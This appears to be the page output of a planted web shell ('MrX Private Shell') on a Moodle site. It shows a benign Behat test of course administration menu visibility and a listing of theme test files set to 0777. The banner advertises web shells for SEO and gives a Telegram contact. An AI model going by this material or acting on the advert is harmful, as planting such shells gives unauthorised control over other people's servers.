__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@javascript @theme_classic
Feature: Course administration menu
To navigate in classic theme teachers need to use the course administration menu
Background:
Given the following "courses" exist:
| fullname | shortname |
| Course 1 | C1 |
And the following "users" exist:
| username | firstname | lastname | email |
| teacher1 | Teacher | 1 | teacher1@example.com |
| student1 | Student | 1 | student1@example.com |
And the following "course enrolments" exist:
| user | course | role |
| teacher1 | C1 | editingteacher |
| student1 | C1 | student |
Scenario: Teacher can use the course administration menu
And I log in as "teacher1"
And I am on "Course 1" course homepage
And I should see the page administration menu
Scenario: Student cannot see the course administration menu
And I log in as "student1"
And I am on "Course 1" course homepage
And I should not see the page administration menu
And I log out
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| addblock.feature | File | 1.34 KB | 0777 |
|
| behat_theme_classic_behat_admin.php | File | 4.19 KB | 0777 |
|
| behat_theme_classic_behat_blocks.php | File | 4 KB | 0777 |
|
| behat_theme_classic_behat_completion.php | File | 1.57 KB | 0777 |
|
| behat_theme_classic_behat_core_question.php | File | 2 KB | 0777 |
|
| behat_theme_classic_behat_course.php | File | 2.82 KB | 0777 |
|
| behat_theme_classic_behat_general.php | File | 2.1 KB | 0777 |
|
| behat_theme_classic_behat_grade.php | File | 2.18 KB | 0777 |
|
| behat_theme_classic_behat_grading.php | File | 1.64 KB | 0777 |
|
| behat_theme_classic_behat_navigation.php | File | 19.54 KB | 0777 |
|
| behat_theme_classic_behat_repository_upload.php | File | 2.9 KB | 0777 |
|
| blacklist.json | File | 793 B | 0777 |
|
| category_role_assignment.feature | File | 1.6 KB | 0777 |
|
| course_sections.feature | File | 1.21 KB | 0777 |
|
| courseadministrationmenu.feature | File | 1011 B | 0777 |
|
| mycoursesblocks.feature | File | 1.21 KB | 0777 |
|
| pageadministrationmenu.feature | File | 2.11 KB | 0777 |
|
| theme_selector.feature | File | 1.41 KB | 0777 |
|
| welcome_to_classicmoodle.feature | File | 1.33 KB | 0777 |
|